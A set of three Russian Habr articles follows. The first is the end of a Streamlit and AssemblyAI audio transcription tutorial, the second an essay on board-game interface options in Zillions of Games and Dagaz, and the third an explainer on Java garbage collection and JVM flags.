* Мы выполняем POST-запрос к конечной точке API AssemblyAI, которая называется `transcript`. Если система в этот момент не занимается обработкой некоего файла — немедленно начинается обработка файла, URL которого ей передан. Если же в момент выполнения запроса выполняется разбор другого файла, задание на обработку нового файла ставится в очередь и пребывает в ней до завершения предыдущего задания. Это — особенность бесплатного тарифного плана. Если вас интересует одновременная обработка нескольких файлов — вам понадобится [платный](https://www.assemblyai.com/pricing) тарифный план.
* Объект ответа содержит `ID` — идентификатор задания на транскрибирование аудиозаписи. Этот `ID` будет использоваться при обращении к другой конечной точке для получения сведений о состоянии соответствующего задания.
* Функция возвращает этот `ID`.
Вспомогательная функция №3: загрузка результатов транскрибирования аудиозаписи
------------------------------------------------------------------------------
После того, как у нас имеется `ID` задания на транскрибирование аудиофайла, мы можем выполнить GET-запрос к соответствующей конечной точке API AssemblyAI для того чтобы узнать о состоянии задания:
```
https://api.assemblyai.com/v2/transcript/{transcribe_id}
```
Если не возникает ошибок, то состояние задания меняется с `queued` на `processed`, что указывает на то, что над ним ведётся работа. А потом, после завершения транскрибирования, задание переходит в состояние `completed`.
Нужно опрашивать эту конечную точку до тех пор, пока в нашем распоряжении не окажется объект ответа, содержимое которого указывает на то, что задание с соответствующим `ID` перешло в состояние `completed`.
В этой ситуации для периодического выполнения запросов можно воспользоваться циклом [while](https://www.w3schools.com/python/python_while_loops.asp). В каждой итерации цикла мы будем проверять состояние задания. Цикл будет выполняться до тех пор, пока задание не перейдёт в состояние `completed`. Процесс опроса некоей системы в ожидании завершения какой-то операции называют «поллингом» (от английского «polling»). Мы создадим этот механизм в ходе работы над пользовательским интерфейсом приложения.
Функция, код которой приведён ниже, просто отправляет серверу запрос о текущем состоянии задачи по транскрибированию аудиофайла. Она, как и вышеописанные функции, должна находиться в файле `transcribe.py`:
```
def get_text(token,transcribe_id):
'''
Parameter:
token: The API key
transcribe_id: The ID of the file which is being
Return Value:
result : The response object
'''
endpoint = f"https://api.assemblyai.com/v2/transcript/{transcribe_id}"
headers = {
"authorization": token
}
result = requests.get(endpoint, headers=headers).json()
return result
```
Вспомогательная функция №4: запрос результатов транскрибирования из пользовательского интерфейса
------------------------------------------------------------------------------------------------
Эта функция пользуется возможностями уже описанных вспомогательных функций `get_url()` и `get_transcribe_id()`. Она, кроме того, будет подключена к кнопке `Upload`, присутствующей в интерфейсе приложения. Она принимает лишь один параметр — объект файла. Вот как она работает:
* Загружает токен API из файла `.env`.
* Использует токен при вызове функций `get_url()` и `get_transcribe_id()`.
* Возвращает `ID` задания на транскрибирование аудиозаписи.
Ниже показан код функции. Она, как и другие вспомогательные функции, должна находиться в файле `transcribe.py`.
```
def upload_file(fileObj):
'''
Parameter:
fileObj: The File Object to transcribe
Return Value:
token : The API key
transcribe_id: The ID of the file which is being transcribed
'''
load_dotenv()
token = os.getenv("API_TOKEN")
file_url = get_url(token,fileObj)
transcribe_id = get_transcribe_id(token,file_url)
return token,transcribe_id
```
* Мы пользуемся функцией `load_dotenv()` для загрузки данных из файла `.env`. Затем, пользуясь методом `getenv()` из модуля `os`, мы читаем значение переменной `API_TOKEN`, которая хранится в файле `.env`.
* Вызывается функция `get_url()`, которой, в качестве параметров, передаётся объект файла и токен API.
* Вызывается функция `get_transcribe_id()`, которой передаётся токен API и переменная `file_url`, содержащая то, что возвратила функция `get_url()`.
* Выполняется возврат токена API и `ID` задания на транскрибирование аудиозаписи.
Разработка пользовательского интерфейса приложения с помощью Streamlit
----------------------------------------------------------------------
Теперь, когда в нашем распоряжении имеются все необходимые вспомогательные функции, мы можем приступить к работе над интерфейсом приложения с применением Streamlit.
Но, прежде чем мы перейдём к рассмотрению кода, описывающего интерфейс, давайте взглянем на команды Streamlit, которыми мы будем пользоваться при создании компонентов интерфейса:
* `header(string)`, `subheader(string)`, `text(string)` — эти команды выводят в интерфейсе текст, используя различные способы его форматирования, в частности — меняя размеры шрифта. Метод `header()` можно рассматривать как аналог тега , `subheader()` — как аналог , а `text()` — как аналог .
* `file_uploader(label)` — эта команда позволяет создать элемент для выгрузки файла, содержащий кнопку и поле, в которое можно перетащить файл. Параметр `label` — это строка, которая будет выведена над полем. Метод возвращает файловый объект. Мы будем пользоваться этим механизмом для приёма файлов от пользователя.
* `progress(integer)` — создаёт индикатор прогресса. Параметр `integer` должен представлять собой число в диапазоне от 0 до 100. Он указывает на процент завершения некоей задачи. Если написать цикл `for`, в каждой итерации которого есть команда `sleep()`, приостанавливающая выполнение программы на 0,1 секунды, на основе этого цикла можно создать приятную анимацию индикатора прогресса.
* `spinner(label)` — то, что передано этому методу в `label`, выводится до тех пор, пока мы находимся в соответствующем блоке кода.
* `balloons()` — эта команда позволяет вывести симпатичную анимацию из воздушных шариков.
Создание компонентов пользовательского интерфейса
-------------------------------------------------
Следующий код должен находиться в файле `main.py`. Этот файл будет точкой входа в веб-приложение.
Для начала надо импортировать в этот файл все необходимые модули и библиотеки:
```
import streamlit as st
from transcribe import *
import time
```
`transcribe` — это имя файла, в котором хранится код вспомогательных библиотек.
Для того чтобы проверить правильность импорта библиотек — можно попробовать выполнить следующую команду в командной строке. Прежде чем выполнять эту команду — надо проверить, чтобы было активировано виртуальное окружение, и чтобы текущей папкой являлась бы корневая папка проекта (`ASSEMBLYAI`):
```
streamlit run main.py
```
Если до этого момента всё было сделано правильно — после выполнения этой команды должна открыться пустая страница веб-приложения. Для того чтобы перезапустить приложение — можно либо воспользоваться командой меню `Rerun`, либо открыть веб-приложение и воспользоваться сочетанием клавиш `Ctrl + R` (или `Cmd + R`).
Начнём с описания заголовка страницы и поля для выгрузки файлов.
Внесём в файл `main.py` следующий код:
```
st.header("Trascribe Audio")
fileObject = st.file_uploader(label = "Please upload your file" )
```
Если теперь снова запустить приложение, выглядеть оно должно так, как показано ниже.
*Приложение после добавления на его страницу заголовка и поля для загрузки файлов*
Изначально переменная `fileObject` имеет значение `None`, а после выбора файла в ней будет объект файла.
```
fileObject = st.file_uploader(label = "Please upload your file" )
if fileObject:
token, t_id = upload_file(fileObject)
result = {}
#polling
sleep_duration = 1
percent_complete = 0
progress_bar = st.progress(percent_complete)
st.text("Currently in queue")
while result.get("status") != "processing":
percent_complete += sleep_duration
time.sleep(sleep_duration)
progress_bar.progress(percent_complete/10)
result = get_text(token,t_id)
sleep_duration = 0.01
for percent in range(percent_complete,101):
time.sleep(sleep_duration)
progress_bar.progress(percent)
```
Разберём основные детали этого кода:
* Если значением `fileObject` не является `None` — мы вызываем функцию `upload_file()`.
* Мы пользуемся циклом `while` для поллинга конечной точки.
* На каждой итерации цикла `while` создаётся индикатор прогресса, программа «засыпает» на 0,1 секунды и инкрементирует значение, передаваемое индикатору, на 1.
* После того, как задание на транскрибирование перейдёт в состояние `processing`, время задержки уменьшается до 0,01 секунды. Это приводит к выводу довольно-таки интересной анимации, когда изначально полоса индикатора прогресса движется медленно, а после начала обработки файла ускоряется.
*Индикатор прогресса*
* После того, как индикатор прогресса укажет на то, что операция полностью завершена, мы снова начинаем обращаться к конечной точке. В этот раз мы проверяем задачу на предмет её завершения, на переход её в состояние `completed`. Во время поллинга конечной точки мы пользуемся функцией `spinner()` для показа соответствующего текста на странице.
```
with st.spinner("Processing....."):
while result.get("status") != 'completed':
result = get_text(token,t_id)
```
* После того, как состояние задачи изменится на `completed` — мы выходим из цикла `while` и, пользуясь функцией `balloons()`, выводим анимацию с воздушными шариками.
```
st.balloons()
st.header("Transcribed Text")
st.subheader(result['text'])
```
* И мы, наконец, выводим на экран результаты транскрибирования аудиозаписи.
В начале этого материала мы уже приводили анимированное изображение, демонстрирующее веб-приложение в действии. Приведём его снова. Полагаем, теперь вы видите его немного иначе, чем прежде.
*Веб-приложение в действии*
Итоги
-----
Примите поздравления! Только что вы создали веб-приложение, которое умеет транскрибировать аудиозаписи. Вы, если хотите, вполне можете расширить его возможности. Например — рассмотрев следующие варианты его развития:
* AssemblyAI позволяет пользователям сервиса указывать [акустические модели и (или) языковые модели](https://docs.assemblyai.com/guides/transcribing-with-a-different-acoustic-or-custom-language-model), используемые при транскрибировании аудиозаписей. В интерфейсе приложения выбор чего-то подобного можно представить в виде выпадающего списка, реализованного средствами [Streamlit](https://docs.streamlit.io/en/latest/api.html#control-flow).
* Пользователям приложения можно дать возможность записи и транскрибирования голоса. Для того чтобы решить эту задачу, понадобится приложить определённые усилия, так как в Streamlit нет встроенных компонентов, ориентированных на запись голоса. Но подобный компонент можно создать самостоятельно, воспользовавшись HTML и JavaScript. Если вас эта идея заинтересовала — загляните [сюда](https://discuss.streamlit.io/t/speech-to-text-on-client-side-using-html5-and-streamlit-bokeh-events/7888).
Пользуетесь ли вы Streamlit?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=razrabotka_veb-prilozheniya_dlya_transkribirovaniya_audiozapisej_s_ispolzovaniem_python__streamlit_i_assemblyai) | https://habr.com/ru/post/556158/ | null | ru | null |
# Сага опций
[](http://kalevala.onegaborg.eu/)***Чтоб я вновь устроил Сампо,
Сделал короб многострунный,
Вновь пустил на небо месяц,
Солнцу снова дал свободу…
«Калевала»***
Настольные игры выглядит очень привлекательно для начинающих разработчиков. Здесь нет необходимости в построении фотореалистичных изображений и применении сложных шейдеров (хотя никто не запрещает [этим заниматься](https://habr.com/post/359356/)). Даже использование 3D, в подавляющем большинстве игр, вовсе не обязательно. Сложность настольных игр сосредоточена на не визуальных составляющих. Пользовательский интерфейс выглядит простым и до предела примитивным.
Вот только… он таковым не является! Сегодня я хочу рассказать о своём опыте в разработке дизайна пользовательского интерфейса настольных игр, накопленном более чем за год работы.
Моё серьёзное увлечение настольными играми началось с момента знакомства с [Zillions of Games](http://www.zillions-of-games.com/index.html). Я уже много писал об этом уникальном продукте, позволяющем мастерить компьютерные настольные игры, буквально «на коленке». Напомню лишь, что именно эта программа послужила прототипом [Dagaz](https://github.com/GlukKazan/Dagaz/) — свободного и бесплатного продукта, разработкой которого я занимаюсь в настоящее время.
Я многому научился у ZoG и этот [опыт](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?searchauthor=498) послужил надёжным фундаментом для моей собственной разработки. Очень многое в ZoG мне не нравилось и именно это побудило меня к работе. Кое что было переделано, но в основе продолжают лежать концепции Zillions of Games. Например, такие как:
**Опции**Это просто настройки, изменяющие те или иные аспекты «поведения» ядра Zillions of Games. Некоторые из них чисто декоративные (например, используя опцию «animate captures», можно отключить «улетание» взятых фигур вверх, зачем-то работающее по умолчанию), но часть из этих настроек важна настолько, что без них корректная работа многих игр была бы невозможна. Перечислю наиболее важные из них:
* **«pass turn»** — Это можно изменить, но в большинстве игр участвуют по двое игроков, ходы которых чередуются. Выполнение хода является обязательным и его невозможность приводит к немедленному завершению игры (не обязательно к поражению). Не все игры таковы. Например, в [Го](https://ru.wikipedia.org/wiki/%D0%93%D0%BE) игрок имеет право «пасовать», пропуская ход, что является важным аспектом правил игры. Во многих играх, таких как [Reversi](https://glukkazan.github.io/custodian/reversi.htm), игрок обязан пропустить ход, если не имеет возможности сходить по правилам. Опция «pass turn» управляет этой возможностью.
* **«pass partial»** — Более сложная вариация предыдущей опции предназначенная для игр с составными (частичными, в терминологии ZoG) ходами. По умолчанию, начав цепочку взятий (в таких играх как [шашки](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8)), игрок обязан завершить её до конца (то есть, продолжать брать фигуры, пока есть такая возможность). Обычно, это правило сочетается с приоритетом взятия (игрок обязан брать фигуру противника, если есть такая возможность). Мне известна единственная традиционная [игра](https://glukkazan.github.io/checkers-like/fanorona-normal.htm), взятие в которой обязательно при том, что цепочку взятий можно прерывать. Без опции «pass partial», реализовать её в Zillions корректно было бы невозможно.
* **«maximal captures»** — Это хитрая опция! Само по себе то, что мы обязаны до конца продолжать цепочку взятий, вовсе не заставляет нас брать максимальное количество фигур! Выполняя очередное взятие, мы можем «свернуть не туда» и завершить цепочку по более короткой ветви. Опция «maximal captures» не даст нам этого сделать. Без неё, возникли бы проблемы с реализацией "[Международных шашек](https://glukkazan.github.io/checkers/international-checkers.htm)"!
* **«recycle captures»** — В Zillions of Games довольно сложно реализованы drop-ходы (добавление новых фигур на доску). В частности, для всех фигур, участвующих в таких ходах, должны быть указаны специальные счётчики, учитывающие количество фигур этого типа «за пределами» доски (это делается при помощи ключевого слова «off»). Опция «recycle captures» возвращает взятые фигуры в соответствующие им off-счётчики, в результате чего их можно помещать на доску повторно. Это редко используемая опция, но когда она действительно нужна — без неё не обойтись.
* **«include off-pieces»** — Ещё одна опция, связанная off-счётчиками. Результат некоторых игр определяется подсчётом количества фигур, находящихся у игроков, но в играх с drop-ходами, такими как [Seega](https://glukkazan.github.io/custodian/seega.htm), необходимо подсчитывать и те фигуры, которые ещё не выставлены на доску! Опция служит именно для этого.
Я думаю, вы уловили мысль. Большинство игр можно реализовать без всего перечисленного, но если требуется что-то особенное — приходится подключать опции. Для Zillions of Games это хардкод! Причём, даже в большей степени чем вы думаете. Например, опция «pass turn», помимо всем понятных **false** и **true** включает в себя "**forced**", а «maximal captures», для "[Итальянских шашек](https://glukkazan.github.io/checkers/italian-checkers.htm)", так и вовсе, включается значением "**2**" (в этой игре, дамки считаются «более равными», чем все остальные).
В Dagaz, я расширил механизм опций. Конечно, в тех случаях, когда можно обойтись глобальными флагами, я так и делаю, но «maximal-captures», например, кодирует очень сложное поведение, связанное с подсчётом фигур. Эта опция реализована [расширением](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/games/checkers/maximal-captures.js) игры. Более того, тот же подход позволил мне реализовать новые опции, спрятав, например, в "[deferred-captures](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/games/checkers/deferred-captures.js)" сложную логику "[Турецкого удара](https://ru.wikipedia.org/wiki/%D0%A2%D1%83%D1%80%D0%B5%D1%86%D0%BA%D0%B8%D0%B9_%D1%83%D0%B4%D0%B0%D1%80)", в Zillions традиционно кодируемую крайне непростым образом.
Как я уже писал выше, пользовательский интерфейс ZoG выглядит очень простым. Указываем мышью, какую фигуру собираемся перетащить (при этом, подсвечиваются те поля, на которые можно переместиться), после чего перетаскиваем фигуру на новое поле. Здесь есть два момента, которые мне не нравятся. Первый связан с мобильными устройствами, на которых Dagaz, худо-бедно, работает, а Zillions of Games нет.
На сенсорных экранах, указатель мыши успешно заменяется пальцем. Но это означает, что пока мы на что-то нажимаем, этот самый палец загораживает добрую половину экрана. В результате, разглядеть подсветку полей становится затруднительно. Когда палец отрывается от экрана, подсветка исчезает. Это кажется очевидным, но поскольку я, в основном, отлаживал Dagaz на десктопе, то далеко не сразу догадался, до чего же дьявольски неудобно приходится пользователям мобильных устройств.
[](https://glukkazan.github.io/elimination/elehunt-easy-board.htm)
Второй момент связан с «перетаскиванием» фигур по экрану. Дело в том, что далеко не во всех играх фигура состоит из одного «куска». В такой ситуации, «Drag & Drop» всё портит. На Zillions of Games [подобные игры](https://glukkazan.github.io/index.html#sliding) выглядят просто ужасно. Это главная причина, по которой я отказался от перетаскивания. В Dagaz, нажатие на фигуру включает «подсветку» целевых полей, а последующее нажатие на целевое поле запускает перемещение. Для мобильных устройств, это вдвойне хорошо, поскольку второе нажатие является своего рода «подтверждением» — пока оно не выполнено, можно отказаться от хода, выбрав другую фигуру.
**Кстати**С этим механизмом связана ещё одна довольно спорная опция, включенная в Zillions of Games по умолчанию — "**smart moves**". Суть её довольно проста — если вы выбираете фигуру, для которой имеется единственный допустимый ход, то этот ход выполняется немедленно, без всякого «перетаскивания» по доске. То же работает для целевых полей, на которые ведёт единственный допустимый, в текущей ситуации, ход. Это может здорово сэкономить время, но если вы играете в сложную, малознакомую игру, скорее всего, только приведёт к проблемам. Тем не менее, в разнообразных [манкалах](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%BD%D0%BA%D0%B0%D0%BB%D0%B0) такая настройка попросту незаменима.
[](https://glukkazan.github.io/mancala/toguz-kumalak.htm)
В Dagaz я разделил «smart-moves» на две настройки: «from», используемую во всех манкалах и головоломках с движущимися кусками и «to», для которой нашлись применения в "[Сокобане](https://glukkazan.github.io/sokoban/sokoban-01.htm)" и ещё [одной игре](https://glukkazan.github.io/renju/gomoku-knights.htm). Разумеется, значение «true» включит обе настройки сразу, но вряд ли имеет смысл это делать в подавляющем большинстве игр. Специально для «Сокобана» я сделал ещё и альтернативный [модуль](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/games/sokoban/keyboard.js), позволяющий управлять игрой при помощи стрелок компьютерной клавиатуры.
[](https://glukkazan.github.io/checkmate/platform-chess-board.htm)
Завершая разговор о наследии Zillions of Games, хочется рассказать о ещё одном важном механизме. Обратите внимание на жёлтые прямоугольники на картинке. Именно они определяют, какая фигура будет выбрана, при нажатии мышью. В этом и заключается проблема. Если фигуры расположены в два (и более) слоя, регион, расположенный выше, всегда будет перехватывать нажатие мышью, независимо от того, есть в нём фигура или нет. По пальцам невозможно пересчитать, сколько раз мне это мешало! Разумеется, в Dagaz это исправлено.
[](https://glukkazan.github.io/races/hanoi-5.htm)
В некоторых играх ("[Фермерских шахматах](https://glukkazan.github.io/control/gala.htm)", например) очень важно, чтобы анимация перемещения фигур выполнялась по определённой траектории. Перенос фигур «по прямой» может существенно затруднить понимание правил игры. Здесь возможны различные подходы, но я исходил из того, что модель должна «знать» только начальную и конечную позиции перемещения. Всё остальное находится в ведении представления игры. В конфигурации представления определяются «вектора», связывающие отдельные позиции, а его задача, получив пару позиций от модели — автоматически построить последовательность связывающих их «векторов», для анимации перемещения.
**Анимация перемещения фигур в ''Ханойских башнях''**
```
view.addVector(Dagaz.Model.stringToPos("a1"), Dagaz.Model.stringToPos("a6"));
view.addVector(Dagaz.Model.stringToPos("a2"), Dagaz.Model.stringToPos("a6"));
view.addVector(Dagaz.Model.stringToPos("a3"), Dagaz.Model.stringToPos("a6"));
view.addVector(Dagaz.Model.stringToPos("a4"), Dagaz.Model.stringToPos("a6"));
view.addVector(Dagaz.Model.stringToPos("a5"), Dagaz.Model.stringToPos("a6"));
...
```
[](https://glukkazan.github.io/custodian/brandubh.htm)
Часто бывает полезно иметь возможность дать игроку визуальную подсказку о целях игры. Иногда (как на рисунке выше), доска сама по себе является подсказкой, но если этого недостаточно (как в [головоломках](https://glukkazan.github.io/sliding-puzzles/mothers.htm) с движущимися кусками, например), поможет ещё одна, унаследованная от Zillions, «декоративная» опция. Если "**highlight-goals**" активирована, при наведении на фигуру указателя мыши, будут подсвечены те позиции, на которые её следует провести.
Продолжая тему визуальных «подсказок» игроку, стоит рассказать о ещё одной новой опции Dagaz. В играх со сложными составными ходами очень легко «потеряться», забыв (или не поняв), что фигура ещё не завершила свой ход полностью. Реализуя настройку «show-blink», я решил не перегружать дизайн новыми цветовыми пометками, а использовать анимацию, для выделения фигуры, выполняющей ход.
[](https://glukkazan.github.io/checkers/russian-checkers.htm)
Это решение может показаться избыточным, но здесь важно понимать, что реализуя эту опцию, я ориентировался, в основном, вовсе не на шашки. Существует множество гораздо более сложных игр с составными ходами, например таких как "[Ko Shogi](https://glukkazan.github.io/shogi/ko-shogi-board.htm)" или "[Tenjiku Shogi](https://glukkazan.github.io/shogi/tenjiku-shogi.htm)". Даже хорошо зная правила, на таких досках очень легко «заблудиться». А есть и такие [игры](https://glukkazan.github.io/races/hanga-roa-board.htm), дизайн составного хода которых непривычен совершенно:
[](https://glukkazan.github.io/races/hanga-roa-board.htm)
Тесно связан с этой темой и вопрос индикации взятия фигур. Если взятие в игре шахматное или игра всем знакома (как шашки, например) — особых проблем нет, но даже в Шахматах забираемая фигура [не всегда](https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D1%8F%D1%82%D0%B8%D0%B5_%D0%BD%D0%B0_%D0%BF%D1%80%D0%BE%D1%85%D0%BE%D0%B4%D0%B5) располагается на том поле, где завершается ход. А если игра [менее знакома](https://glukkazan.github.io/custodian/gwyddbwyll.htm), индикация потенциальных взятий становится жизненно важной. Более того, в некоторых играх должна предоставляться возможность **выбора** группы захватываемых фигур:
[](https://glukkazan.github.io/checkers-like/fanorona-normal.htm)
В мадагаскарской [Фанороне](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%BD%D0%BE%D1%80%D0%BE%D0%BD%D0%B0), существует два типа хода со взятием: в первом случае, фигура (или группа фигур) забирается приближением к ней, во втором — отступлением. В игре возможны ситуации, в которых игрок должен выбрать, каким образом осуществляется захват. Всё ещё более осложняется тем, что этот захват может быть встроен в цепочку составного хода. Также, возможность выбора захватываемых фигур востребована в играх с «бонусным» взятием, таких как "[Мельница](https://glukkazan.github.io/morris/windmill.htm)", "[Йотай](https://glukkazan.github.io/checkers-like/yote.htm)" или "[Болотуду](https://glukkazan.github.io/arrange/bolotoudou.htm)".
Как и в случае с «show-blink», я решил не перегружать интерфейс цветовыми пометками, а отображать потенциальные взятия полупрозрачными фигурами. Аналогичным образом показываются drop-ходы. Фигура, добавляемая на доску drop-ходом, отображается в полупрозрачном виде при прохождении указателя мыши над соответствующей позицией (к сожалению, такая индикация не работает на мобильных устройствах).
[](https://glukkazan.github.io/checkers-like/bagh-chal.htm)
В некоторых случаях, правилами игры drop-ходы разрешены не во все позиции. Если разрешённых для хода позиций немного, для того, чтобы не вводить игрока в заблуждение, имеет смысл отобразить на доске все допустимые ходы. Это хорошо работает в таких играх как [Reversi](https://glukkazan.github.io/custodian/reversi.htm) и [Renju](https://glukkazan.github.io/renju/renju.htm), с её дебютным регламентом:
[](https://glukkazan.github.io/renju/renju.htm)
Очень часто, запрещённых ходов гораздо меньше чем разрешённых (это относится к [фолам в Рендзю](https://renju.su/pravila/vvedenie-v-pravila-rendzyu-foly/), например). Запрещённые позиции необходимо помечать, чтобы не вводить игрока в заблуждение. Я не стал придумывать ничего нового и использовал известное многим игрокам обозначение "[Ко](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BA%D0%BE)".
В [Renju](https://glukkazan.github.io/renju/renju.htm), [Fangqi](https://glukkazan.github.io/arrange/ningxia-fangqi-board.htm) и [подобным](https://glukkazan.github.io/renju/ninuki-renju.htm) [им](https://glukkazan.github.io/arrange/xinjiang-fangqi-board.htm) играх таких квадратиков на доске может быть больше одного. Также имеется некоторая сложность, связанная с перемещением фигур. В играх семейства "[Мельница](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BB%D1%8C%D0%BD%D0%B8%D1%86%D0%B0_(%D0%B8%D0%B3%D1%80%D0%B0))", может действовать правило, запрещающее построение одного и того же ряда два раза подряд. При этом, не вполне правильно помечать только пустое поле, достраивающее ряд, поскольку ход в эту позицию может быть допустим, если он ведёт к построению **другого** ряда. В этом случае, имеет смысл помечать все фигуры, составляющие форму:
[](https://glukkazan.github.io/morris/windmill.htm)
Вот такая у меня получилась "[Мельница](https://glukkazan.github.io/morris/windmill.htm)". [В](https://glukkazan.github.io/morris/nine-man-morris.htm) [ассортименте](https://glukkazan.github.io/morris/morabaraba.htm). А ещё пара [похожих](https://glukkazan.github.io/arrange/ningxia-fangqi-board.htm) [игр](https://glukkazan.github.io/arrange/xinjiang-fangqi-board.htm) от китайских товарищей и, конечно же, "[Болотуду](https://glukkazan.github.io/arrange/bolotoudou.htm)". Разумеется, это не конец истории. Например, я очень хочу сделать вот [эту](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D0%B0%D0%BB%D0%BE%D0%BD_(%D0%B8%D0%B3%D1%80%D0%B0)) игру. Правда, одними только опциями здесь дело уже не ограничится. | https://habr.com/ru/post/358870/ | null | ru | null |
# Избавляемся от мусора в Java
> В преддверии старта курса [«**Подготовка к сертификации Oracle Java Programmer (OCAJP)**»](https://otus.pw/XVjm/) подготовили перевод полезного материала. Предлагаем также посмотреть запись демо-занятия [**«Конструкторы и блоки инициализации».**](https://otus.pw/l0kG/)
>
>
---
### Что такое сборка мусора, зачем она нужна и как работает
Для работы любого приложения требуется память. Однако память компьютера ограничена. Поэтому важно ее очищать от старых неиспользуемых данных, чтобы освободить место для новых.
Кто занимается этой очисткой? Как и когда очищается память? Как выглядит структура памяти? Давайте разберем с этим подробнее.
### Структура памяти Java
Память в Java состоит из следующих областей:
Структура памяти Java**Native Memory** — вся доступная системная память.
**Heap (куча)** — часть native memory, выделенная для кучи. Здесь JVM хранит объекты. Это общее пространство для всех потоков приложения. Размер этой области памяти настраивается с помощью параметра -Xms (минимальный размер) и -Xmx (максимальный размер).
**Stack (стек)** — используется для хранения локальных переменных и стека вызовов метода. Для каждого потока выделяется свой стек.
**Metaspace (метаданные)** — в этой памяти хранятся метаданные классов и статические переменные. Это пространство также является общими для всех. Так как metaspace является частью native memory, то его размер зависит от платформы. Верхний предел объема памяти, используемой для metaspace, можно настроить с помощью флага MaxMetaspaceSize.
**PermGen** (Permanent Generation, постоянное поколение) присутствовало до Java 7. Начиная с Java 8 ему на смену пришла область Metaspace.
**CodeCache (кэш кода)** — JIT-компилятор компилирует часто исполняемый код, преобразует его в нативный машинный код и кеширует для более быстрого выполнения. Это тоже часть native memory.
### Сборка мусора: введение
Что такое "мусор"? Мусором считается объект, который больше не может быть достигнут по ссылке из какого-либо объекта. Поскольку такие объекты больше не используются в приложении, то их можно удалить из памяти.
Например, на диаграмме ниже объект fruit2 может быть удален из памяти, поскольку на него нет ссылок.
МусорЧто такое сборка мусора? Сборка мусора — это процесс автоматического управления памятью. Освобождение памяти (путем очистки мусора) выполняется автоматически специальным компонентом JVM — сборщиком мусора (Garbage Collector, GC). Нам, как программистам, нет необходимости вмешиваться в процесс сборки мусора.
Источник: Oracle.com### Сборка мусора: процесс
Для сборки мусора используется алгоритм пометок (Mark & Sweep). Этот алгоритм состоит из трех этапов:
1. **Mark (маркировка)**. На первом этапе GC сканирует все объекты и помечает живые (объекты, которые все еще используются). На этом шаге выполнение программы приостанавливается. Поэтому этот шаг также называется "Stop the World" .
2. **Sweep (очистка)**. На этом шаге освобождается память, занятая объектами, не отмеченными на предыдущем шаге.
3. **Compact (уплотнение)**. Объекты, пережившие очистку, перемещаются в единый непрерывный блок памяти. Это уменьшает фрагментацию кучи и позволяет проще и быстрее размещать новые объекты.
Mark & Sweep GC### Поколения объектов
#### Что такое поколения объектов?
Для оптимизации сборки мусора память кучи дополнительно разделена на четыре области. В эти области объекты помещаются в зависимости от их возраста (как долго они используются в приложении).
1. **Young Generation (молодое поколение)**. Здесь создаются новые объекты. Область young generation разделена на три части раздела: Eden (Эдем), S0 и S1 (Survivor Space — область для выживших).
2. **Old Generation (старое поколение)**. Здесь хранятся давно живущие объекты.
Поколения в куче#### Что такое Stop the World?
Когда запускается этап mark, работа приложения останавливается. После завершения mark приложение возобновляет свою работу. Любая сборка мусора — это "Stop the World".
#### Что такое гипотеза о поколениях?
Как уже упоминалось ранее, для оптимизации этапов mark и sweep используются поколения. Гипотеза о поколениях говорит о следующем:
1. Большинство объектов живут недолго.
2. Если объект выживает, то он, скорее всего, будет жить вечно.
3. Этапы mark и sweep занимают меньше времени при большом количестве мусора. То есть маркировка будет происходить быстрее, если анализируемая область небольшая и в ней много мертвых объектов.
Таким образом, алгоритм сборки мусора, использующий поколения, выглядит следующим образом:
Сборка мусора поколениями1. Новые объекты создаются в области Eden. Области Survivor (S0, S1) на данный момент пустые.
2. Когда область Eden заполняется, происходит **минорная сборка мусора (Minor GC)**. Minor GC — это процесс, при котором операции mark и sweep выполняются для young generation (молодого поколения).
3. После Minor GC живые объекты перемещаются в одну из областей Survivor (например, S0). Мертвые объекты полностью удаляются.
4. По мере работы приложения пространство Eden заполняется новыми объектами. При очередном Minor GC области young generation и S0 очищаются. На этот раз выжившие объекты перемещаются в область S1, и их возраст увеличивается (отметка о том, что они пережили сборку мусора).
5. При следующем Minor GC процесс повторяется. Однако на этот раз области Survivor меняются местами. Живые объекты перемещаются в S0 и у них увеличивается возраст. Области Eden и S1 очищаются.
6. Объекты между областями Survivor копируются определенное количество раз (пока не переживут определенное количество Minor GC) или пока там достаточно места. Затем эти объекты копируются в область Old.
7. Major GC. При **Major GC** этапы mark и sweep выполняются для Old Generation. Major GC работает медленнее по сравнению с Minor GC, поскольку старое поколение в основном состоит из живых объектов.
#### Преимущества использования поколений
Minor GC происходит в меньшей части кучи (~ 2/3 от кучи). Этап маркировки эффективен, потому что область небольшая и состоит в основном из мертвых объектов.
#### Недостатки использования поколений
В каждый момент времени одно из пространств Survivor (S0 или S1) пустое и не используется.
### Сборка мусора: флаги
В этом разделе приведены некоторые важные флаги, которые можно использовать для настройки процесса сборки мусора.
| | |
| --- | --- |
| **Флаг** | **Описание** |
| -Xms | Первоначальный размер кучи |
| -Xmx | Максимальный размер куча |
| -XX:NewRatio=n | Отношение размера Old Generation к Young Generation |
| -XX:SurvivorRatio=n | Отношение размера Eden к Survivor |
| -XX:MaxTenuringThreshold=n | Возраст объекта, когда объект перемещается из области Survivor в область Old Generation |
*Флаги JVM*
### Типы сборщиков мусора
| | | | | |
| --- | --- | --- | --- | --- |
| **Сборщик мусора** | **Описание** | **Преимущества** | **Когда использовать** | **Флаги для включения** |
| Serial | Использует один поток. | Эффективный, т.к. нет накладных расходов на взаимодействие потоков. | Однопроцессорные машины.Работа с небольшими наборами данных. | -XX:+UseSerialGC |
| Parallel | Использует несколько потоков. | Многопоточность ускоряет сборку мусора. | В приоритете пиковая производительность.Допустимы паузы при GC в одну секунду и более.Работа со средними и большими наборами данных.Для приложений, работающих на многопроцессорном или многопоточном оборудовании. | -XX:+UseParallelGC |
| G1 | Выполняет некоторую тяжелую работу параллельно с работой приложения. | Может использоваться как на небольших системах, так и на больших с большим количеством процессоров и большим количеством памяти. | Когда время отклика важнее пропускной способности.Паузы GC должны быть меньше одной секунды. | -XX:+UseG1GC |
